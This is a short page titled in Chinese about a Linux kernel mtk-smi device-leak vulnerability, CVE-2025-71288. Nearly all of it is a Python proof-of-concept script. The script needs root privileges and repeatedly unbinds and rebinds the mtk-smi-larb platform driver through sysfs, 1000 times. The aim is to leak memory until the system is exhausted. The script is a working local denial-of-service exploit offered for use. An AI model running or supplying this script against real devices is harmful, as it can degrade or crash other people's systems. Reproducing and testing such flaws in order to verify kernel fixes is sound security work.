CVE-2025-71288: Linux内核mtk-smi设备泄漏漏洞

#!/usr/bin/env python3 """ PoC for CVE-2025-71288 This script attempts to trigger the device leak by repeatedly binding and unbinding the mtk-smi driver, causing memory exhaustion over time. """ import os import time import sys # Target driver path in sysfs DRIVER_PATH = "/sys/bus/platform/drivers/mtk-smi-larb" # Example device name, may vary based on hardware DEVICE_NAME = "mtk-smi-larb0" def trigger_leak(): try: # Unbind the device to trigger remove path with open(os.path.join(DRIVER_PATH, "unbind"), "w") as f: f.write(DEVICE_NAME) # Bind the device to trigger probe path (where leak occurs) with open(os.path.join(DRIVER_PATH, "bind"), "w") as f: f.write(DEVICE_NAME) print(f"[+] Cycle completed: {DEVICE_NAME}") except FileNotFoundError: print("[-] Driver or device not found. System may not be vulnerable or hardware differs.") sys.exit(1) except PermissionError: print("[-] Permission denied. Root privileges required.") sys.exit(1) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] Starting PoC for CVE-2025-71288...") print("[*] Monitor memory usage (e.g., top/htop/free) to observe leak.") for i in range(1000): trigger_leak() time.sleep(0.05) # Short delay to allow system processing print("[*] PoC execution finished.")